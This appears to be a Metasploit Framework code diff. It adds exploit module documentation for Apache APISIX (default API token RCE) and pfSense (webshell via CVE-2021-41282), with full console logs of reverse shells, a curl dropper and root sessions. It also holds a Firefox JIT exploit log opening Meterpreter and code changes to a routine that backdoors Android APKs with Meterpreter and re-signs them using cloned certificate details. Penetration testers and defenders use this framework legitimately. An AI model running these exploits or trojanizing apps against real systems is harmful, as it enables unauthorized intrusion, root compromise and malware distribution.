msf6 exploit(multi/browser/firefox_jit_use_after_free) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] got the corrupted array 16384
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Leaked nursery location: 4aee8a4f6d8
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] AD location: 7f27fb9cc000
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] AB Location: 7f27e7200000
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Function is at: 10d4c755fac0
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] jitinfo: 10d4c7564150
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] RX Region: 3774356d0e50
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Shellcode start: 3774356d1030
|
||||
[*] 192.168.56.1 firefox_jit_use_after_free - [*] Triggering...
|
||||
[*] Sending stage (3020772 bytes) to 192.168.56.1
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:34946 ) at 2022-02-16 08:18:11 +0000
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.
|
||||
|
||||
The Apache APISIX has a default API token `edd1c9f034335f136f87ad84b625c8f1` defined at `conf/config.yaml` and in its default configuration
|
||||
doesn't come with the `ip-restriction` plugin enabled. This allows any user to add a new route in its default configuration. By leveraging
|
||||
the feature `script` added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if
|
||||
ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.
|
||||
|
||||
This module was tested using a vulnerable docker container as available on the
|
||||
[vulnhub](https://github.com/vulhub/apisix/CVE-2020-13945/docker-compose.yml) project.
|
||||
|
||||
If we have the API token we can execute command using the parameter `filter_func` or `script`, and if there is an IP restriction
|
||||
enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.
|
||||
|
||||
### Version and OS
|
||||
This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1
|
||||
|
||||
## Verification Steps
|
||||
Confirm that functionality works:
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/http/apache_apisix_api_default_token_rce`
|
||||
3. set `RHOSTS` and `RPORT`
|
||||
4. Confirm the target is vulnerable: `check`
|
||||
5. Confirm that the target is vulnerable: `The target is vulnerable.`
|
||||
6. It come already with a default payload `cmd/unix/reverse_bash`
|
||||
7. set `LHOST` and `LPORT`
|
||||
8. `exploit`
|
||||
9. Confirm you have now a cmd session
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the APISIX routes controller (Default: `/apisix`).
|
||||
|
||||
### API_KEY (required)
|
||||
|
||||
The admin API KEY for APISIX (Default: `edd1c9f034335f136f87ad84b625c8f1`).
|
||||
|
||||
### ALLOWED_IP (required)
|
||||
|
||||
An IP address that is knew to be in the allowed list (Default: `127.0.0.1`).
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking component version to 127.0.0.1:9080
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100
|
||||
id
|
||||
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody)
|
||||
uname -a
|
||||
Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 127.0.0.1 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) >
|
||||
```
|
||||
@@ -0,0 +1,162 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface
|
||||
(CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an
|
||||
authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.
|
||||
|
||||
This module uses the vulnerability to create a web shell and execute payloads with root privileges.
|
||||
|
||||
### Installation
|
||||
|
||||
Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:
|
||||
|
||||
https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz
|
||||
|
||||
* Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install.
|
||||
* Log into the web interface using the credentials `admin:pfsense`
|
||||
* Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html).
|
||||
|
||||
To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an
|
||||
`admin` create a new user. The add user interface is in the `System` -> `User Manager` page.
|
||||
Select the `Add` user button and create the user. Once the user is created, edit the user
|
||||
and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done!
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the installation instructions above
|
||||
* Do: `use exploit/unix/http/pfsense_diag_routes_webshell`
|
||||
* Do: `set username <name>`
|
||||
* Do: `set password <password>`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `check`
|
||||
* Verify the remote target is flagged as vulnerable
|
||||
* Do: `set LHOST <ip>`
|
||||
* Do: `exploit`
|
||||
* You should get a reverse shell
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Specifies base URI. The default value is `/`.
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to log in to the pfSense web interface with. The default is `admin`.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password to log in with. Set to `pfsense` by default.
|
||||
|
||||
### WEBSHELL_NAME
|
||||
|
||||
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
|
||||
Set to `nil` by default.
|
||||
|
||||
### DELETE_WEBSHELL
|
||||
|
||||
Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a
|
||||
web shell for persistence reasons. The default is `true`.
|
||||
|
||||
### Target 0
|
||||
|
||||
Target 0 is a `CMD_ARCH` reverse shell using openssl.
|
||||
|
||||
### Target 1
|
||||
|
||||
Target 1 is a `bsd/x64` reverse shell using the curl command stager.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.
|
||||
|
||||
```
|
||||
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
|
||||
[*] Using configured payload bsd/x64/shell_reverse_tcp
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
|
||||
USERNAME => diag_only
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
|
||||
RHOST => 10.0.0.10
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
|
||||
|
||||
[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
|
||||
[+] 10.0.0.10:80 - The target is vulnerable.
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
|
||||
LHOST => 10.0.0.2
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Uploading webshell to /dgGNIYHKgUL.php
|
||||
[*] Testing if web shell installation was successful
|
||||
[+] Web shell installed at /dgGNIYHKgUL.php
|
||||
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
|
||||
[*] Using URL: http://0.0.0.0:8080/kDumgxJC
|
||||
[*] Local IP: http://10.0.0.2:8080/kDumgxJC
|
||||
[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
|
||||
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
|
||||
[*] Command Stager progress - 100.00% done (109/109 bytes)
|
||||
[+] Deleted /usr/local/www/hrCcgfpdiGhC
|
||||
[+] Deleted /usr/local/www/dgGNIYHKgUL.php
|
||||
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
pwd
|
||||
/usr/local/www
|
||||
uname -a
|
||||
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
|
||||
```
|
||||
|
||||
### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.
|
||||
|
||||
```
|
||||
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
|
||||
[*] Using configured payload bsd/x64/shell_reverse_tcp
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
|
||||
USERNAME => diag_only
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
|
||||
RHOST => 10.0.0.10
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
|
||||
|
||||
[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
|
||||
[+] 10.0.0.10:80 - The target is vulnerable.
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
|
||||
LHOST => 10.0.0.2
|
||||
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Uploading webshell to /xsYZjKyayH.php
|
||||
[*] Testing if web shell installation was successful
|
||||
[+] Web shell installed at /xsYZjKyayH.php
|
||||
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
|
||||
[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
|
||||
[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
|
||||
[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
|
||||
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
|
||||
[*] Command Stager progress - 100.00% done (114/114 bytes)
|
||||
[+] Deleted /usr/local/www/MkTcoNc
|
||||
[+] Deleted /usr/local/www/xsYZjKyayH.php
|
||||
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
whoami
|
||||
root
|
||||
pwd
|
||||
/usr/local/www
|
||||
uname -a
|
||||
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
|
||||
```
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.1.32"
|
||||
VERSION = "6.1.33"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -73,6 +73,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert']
|
||||
end
|
||||
|
||||
if opts[:datastore] and opts[:datastore]['SessionTlvLogging']
|
||||
opts[:tlv_log] = opts[:datastore]['SessionTlvLogging']
|
||||
end
|
||||
|
||||
# Don't pass the datastore into the init_meterpreter method
|
||||
opts.delete(:datastore)
|
||||
|
||||
@@ -736,4 +740,3 @@ end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -75,7 +75,7 @@ class EncodedPayload
|
||||
|
||||
# If encoder is set, it could be an encoders list
|
||||
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
|
||||
if reqs['Encoder']
|
||||
unless reqs['Encoder'].blank?
|
||||
encoder_str = reqs['Encoder']
|
||||
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||
reqs['Encoder'] = encoder_opt[0]
|
||||
@@ -129,6 +129,10 @@ class EncodedPayload
|
||||
# encoded attribute.
|
||||
#
|
||||
def encode
|
||||
# Get the minimum number of nops to use
|
||||
min = (reqs['MinNops'] || 0).to_i
|
||||
min = 0 if reqs['DisableNops']
|
||||
|
||||
# If the exploit needs the payload to be encoded, we need to run the list of
|
||||
# encoders in ranked precedence and try to encode with them.
|
||||
if needs_encoding
|
||||
@@ -245,10 +249,6 @@ class EncodedPayload
|
||||
break
|
||||
end
|
||||
|
||||
# Get the minimum number of nops to use
|
||||
min = (reqs['MinNops'] || 0).to_i
|
||||
min = 0 if reqs['DisableNops']
|
||||
|
||||
# Check to see if we have enough room for the minimum requirements
|
||||
if ((reqs['Space']) and (reqs['Space'] < eout.length + min))
|
||||
wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}",
|
||||
@@ -284,6 +284,11 @@ class EncodedPayload
|
||||
ilog("#{pinst.refname}: payload contains no badchars, skipping automatic encoding", 'core', LEV_0)
|
||||
end
|
||||
|
||||
if reqs['Space'] and (reqs['Space'] < raw.length + min)
|
||||
wlog("#{pinst.refname}: Raw (unencoded) payload is too large (#{raw.length} bytes)", 'core', LEV_1)
|
||||
raise PayloadSpaceViolation, 'The payload exceeds the specified space', caller
|
||||
end
|
||||
|
||||
self.encoded = raw
|
||||
end
|
||||
|
||||
@@ -530,7 +535,7 @@ protected
|
||||
attr_accessor :reqs
|
||||
|
||||
def needs_encoding
|
||||
reqs['Encoder'] || reqs['ForceEncode'] || has_chars?(reqs['BadChars'])
|
||||
!reqs['Encoder'].blank? || reqs['ForceEncode'] || has_chars?(reqs['BadChars'])
|
||||
end
|
||||
|
||||
def has_chars?(chars)
|
||||
|
||||
@@ -125,6 +125,8 @@ module Exploit::EXE
|
||||
if plat.index(Msf::Module::Platform::Linux)
|
||||
if opts[:arch] && opts[:arch].index(ARCH_X64)
|
||||
dll = Msf::Util::EXE.to_linux_x64_elf_dll(framework, pl,opts)
|
||||
elsif opts[:arch] && opts[:arch].index(ARCH_AARCH64)
|
||||
dll = Msf::Util::EXE.to_linux_aarch64_elf_dll(framework, pl,opts)
|
||||
end
|
||||
elsif plat.index(Msf::Module::Platform::Windows)
|
||||
if opts[:arch] && opts[:arch].index(ARCH_X64)
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for browser exploitation via javascript
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::HttpServer::BrowserExploit
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
|
||||
], Exploit::Remote::HttpServer::BrowserExploit
|
||||
)
|
||||
end
|
||||
|
||||
def start_service(opts = {})
|
||||
super(opts)
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
add_print_status_resource
|
||||
end
|
||||
end
|
||||
|
||||
def add_print_status_resource
|
||||
proc = Proc.new do |cli, req|
|
||||
print_status("[*] #{req.body}")
|
||||
send_response(cli, '')
|
||||
end
|
||||
|
||||
vprint_status('Adding hardcoded URI /print')
|
||||
begin
|
||||
add_resource('Path' => '/print', 'Proc' => proc)
|
||||
rescue RuntimeError => e
|
||||
print_warning(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def add_debug_print_js(jscript)
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = <<~JS
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
JS
|
||||
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(%r{//.*$}, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
jscript
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
|
||||
if res =~ /STARTTLS/
|
||||
print_status("Starting tls")
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
smtp_send_recv("STARTTLS\r\n", nsock)
|
||||
|
||||
[:high, :medium, :default].each do |level|
|
||||
begin
|
||||
@@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver
|
||||
print_status 'Could not negotiate SSL, falling back to older ciphers'
|
||||
nsock.close
|
||||
nsock, res = connect_ehlo(global)
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
smtp_send_recv("STARTTLS\r\n", nsock)
|
||||
raise if level == :default
|
||||
end
|
||||
end
|
||||
|
||||
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
res = smtp_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
end
|
||||
|
||||
unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty?
|
||||
@@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
# Have to double the username. SMTP auth is weird
|
||||
user = "#{datastore["USERNAME"]}\0" * 2
|
||||
auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}")
|
||||
res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
|
||||
res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
@@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver
|
||||
if datastore["USERNAME"] and not datastore["USERNAME"].empty?
|
||||
user = Rex::Text.encode_base64("#{datastore["USERNAME"]}")
|
||||
auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}")
|
||||
raw_send_recv("AUTH LOGIN\r\n",nsock)
|
||||
raw_send_recv("#{user}\r\n",nsock)
|
||||
res = raw_send_recv("#{auth}\r\n",nsock)
|
||||
smtp_send_recv("AUTH LOGIN\r\n", nsock)
|
||||
smtp_send_recv("#{user}\r\n", nsock)
|
||||
res = smtp_send_recv("#{auth}\r\n", nsock)
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
@@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
nsock = connect(global)
|
||||
|
||||
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
|
||||
[nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)]
|
||||
end
|
||||
|
||||
def bad_address(address)
|
||||
@@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver
|
||||
nsock = connect_login(false)
|
||||
end
|
||||
|
||||
raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
|
||||
res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
|
||||
smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
|
||||
res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
|
||||
if res && res[0..2] == '250'
|
||||
resp = raw_send_recv("DATA\r\n", nsock)
|
||||
resp = smtp_send_recv("DATA\r\n", nsock)
|
||||
|
||||
# If the user supplied a Date field, use that, else use the current
|
||||
# DateTime in the proper RFC2822 format.
|
||||
@@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
full_msg << data
|
||||
# Escape leading dots in the mail messages so there are no false EOF
|
||||
full_msg.gsub!(/(?m)^\./, '..')
|
||||
send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock)
|
||||
send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock)
|
||||
end
|
||||
else
|
||||
print_error "Server refused to send to <#{mailto}>"
|
||||
@@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver
|
||||
end
|
||||
|
||||
def disconnect(nsock=self.sock)
|
||||
raw_send_recv("QUIT\r\n", nsock)
|
||||
smtp_send_recv("QUIT\r\n", nsock)
|
||||
super
|
||||
@connected = false
|
||||
end
|
||||
|
||||
def raw_send_recv(cmd, nsock=self.sock)
|
||||
# Send and receive a single command using SMTP protocol
|
||||
# allowing for response continuation
|
||||
def smtp_send_recv(cmd, nsock=self.sock)
|
||||
return false if not nsock
|
||||
if cmd =~ /AUTH PLAIN/
|
||||
# Don't print the user's plaintext password
|
||||
@@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver
|
||||
begin
|
||||
nsock.put(cmd)
|
||||
res = nsock.get_once
|
||||
rescue
|
||||
while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once
|
||||
res += chunk
|
||||
end
|
||||
raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/
|
||||
rescue EOFError
|
||||
return nil
|
||||
end
|
||||
# Don't truncate the server output because it might be helpful for
|
||||
|
||||
@@ -15,6 +15,7 @@ module Msf
|
||||
CONFIG_KEY = 'framework/features'
|
||||
WRAPPED_TABLES = 'wrapped_tables'
|
||||
FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells'
|
||||
SERVICEMANAGER_COMMAND = 'servicemanager_command'
|
||||
DEFAULTS = [
|
||||
{
|
||||
name: WRAPPED_TABLES,
|
||||
@@ -25,6 +26,11 @@ module Msf
|
||||
name: FULLY_INTERACTIVE_SHELLS,
|
||||
description: 'When enabled you will have the option to drop into a fully interactive shell from within meterpreter',
|
||||
default_value: false
|
||||
}.freeze,
|
||||
{
|
||||
name: SERVICEMANAGER_COMMAND,
|
||||
description: 'When enabled you will have access to the _servicemanager command',
|
||||
default_value: false
|
||||
}.freeze
|
||||
].freeze
|
||||
|
||||
|
||||
+81
-17
@@ -125,10 +125,28 @@ class Msf::Payload::Apk
|
||||
def parse_orig_cert_data(orig_apkfile)
|
||||
orig_cert_data = Array[]
|
||||
keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', orig_apkfile])
|
||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||
|
||||
if keytool_output.include?('keytool error: ')
|
||||
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
|
||||
end
|
||||
|
||||
if keytool_output.start_with?('Not a signed jar file')
|
||||
raise RuntimeError, 'APK file is unsigned'
|
||||
end
|
||||
|
||||
owner_line = keytool_output.scan(/^Owner:.+/).flatten.first
|
||||
if owner_line.blank?
|
||||
raise RuntimeError, "Could not extract certificate owner: #{keytool_output}"
|
||||
end
|
||||
|
||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||
orig_cert_data.push("#{orig_cert_dname}")
|
||||
valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
|
||||
|
||||
valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first
|
||||
if valid_from_line.empty?
|
||||
raise RuntimeError, "Could not extract certificate date: #{keytool_output}"
|
||||
end
|
||||
|
||||
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
|
||||
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
|
||||
from_date = DateTime.parse("#{from_date_str}")
|
||||
@@ -139,21 +157,42 @@ class Msf::Payload::Apk
|
||||
return orig_cert_data
|
||||
end
|
||||
|
||||
def check_apktool_output_for_exceptions(apktool_output)
|
||||
if apktool_output.to_s.include?('Exception in thread')
|
||||
print_error(apktool_output)
|
||||
raise RuntimeError, "apktool execution failed"
|
||||
end
|
||||
end
|
||||
|
||||
def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true)
|
||||
unless apk_data || apkfile && File.readable?(apkfile)
|
||||
usage
|
||||
raise RuntimeError, "Invalid template: #{apkfile}"
|
||||
end
|
||||
|
||||
apktool = run_cmd(%w[apktool -version])
|
||||
if apktool.nil?
|
||||
check_apktool = run_cmd(%w[apktool -version])
|
||||
if check_apktool.nil?
|
||||
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
apk_v = Rex::Version.new(apktool.split("\n").first.strip)
|
||||
if check_apktool.to_s.include?('java: not found')
|
||||
raise RuntimeError, "java not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
jar_name = 'apktool.jar'
|
||||
if check_apktool.to_s.include?("can't find #{jar_name}")
|
||||
raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool."
|
||||
end
|
||||
|
||||
check_apktool_output_for_exceptions(check_apktool)
|
||||
|
||||
apk_v = Rex::Version.new(check_apktool.split("\n").first.strip)
|
||||
unless apk_v >= Rex::Version.new('2.0.1')
|
||||
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
||||
end
|
||||
unless apk_v >= Rex::Version.new('2.5.1')
|
||||
print_warning("apktool version #{apk_v} is outdated and may fail to decompile some apk files. Update apktool to the latest version.")
|
||||
end
|
||||
|
||||
#Create temporary directory where work will be done
|
||||
tempdir = Dir.mktmpdir
|
||||
@@ -170,9 +209,9 @@ class Msf::Payload::Apk
|
||||
raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
jarsigner = run_cmd(['jarsigner'])
|
||||
unless jarsigner != nil
|
||||
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
|
||||
apksigner = run_cmd(['apksigner'])
|
||||
if apksigner.nil?
|
||||
raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
zipalign = run_cmd(['zipalign'])
|
||||
@@ -184,23 +223,31 @@ class Msf::Payload::Apk
|
||||
storepass = "android"
|
||||
keypass = "android"
|
||||
keyalias = "signing.key"
|
||||
|
||||
orig_cert_data = parse_orig_cert_data(apkfile)
|
||||
orig_cert_dname = orig_cert_data[0]
|
||||
orig_cert_startdate = orig_cert_data[1]
|
||||
orig_cert_validity = orig_cert_data[2]
|
||||
|
||||
print_status "Creating signing key and keystore..\n"
|
||||
run_cmd([
|
||||
keytool_output = run_cmd([
|
||||
'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass,
|
||||
'-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate,
|
||||
'-validity', orig_cert_validity, '-dname', orig_cert_dname
|
||||
])
|
||||
|
||||
if keytool_output.include?('keytool error: ')
|
||||
raise RuntimeError, "keytool could not generate key: #{keytool_output}"
|
||||
end
|
||||
end
|
||||
|
||||
print_status "Decompiling original APK..\n"
|
||||
run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])
|
||||
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])
|
||||
check_apktool_output_for_exceptions(apktool_output)
|
||||
|
||||
print_status "Decompiling payload APK..\n"
|
||||
run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
|
||||
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
|
||||
check_apktool_output_for_exceptions(apktool_output)
|
||||
|
||||
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||
|
||||
@@ -277,19 +324,36 @@ class Msf::Payload::Apk
|
||||
|
||||
print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n"
|
||||
apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"])
|
||||
check_apktool_output_for_exceptions(apktool_output)
|
||||
|
||||
unless File.readable?(injected_apk)
|
||||
print_error apktool_output
|
||||
raise RuntimeError, "Unable to rebuild apk with apktool"
|
||||
end
|
||||
|
||||
if signature
|
||||
print_status "Signing #{injected_apk}\n"
|
||||
run_cmd([
|
||||
'jarsigner', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', keystore,
|
||||
'-storepass', storepass, '-keypass', keypass, injected_apk, keyalias
|
||||
])
|
||||
print_status "Aligning #{injected_apk}\n"
|
||||
run_cmd(['zipalign', '4', injected_apk, aligned_apk])
|
||||
zipalign_output = run_cmd(['zipalign', '4', injected_apk, aligned_apk])
|
||||
|
||||
unless File.readable?(aligned_apk)
|
||||
print_error(zipalign_output)
|
||||
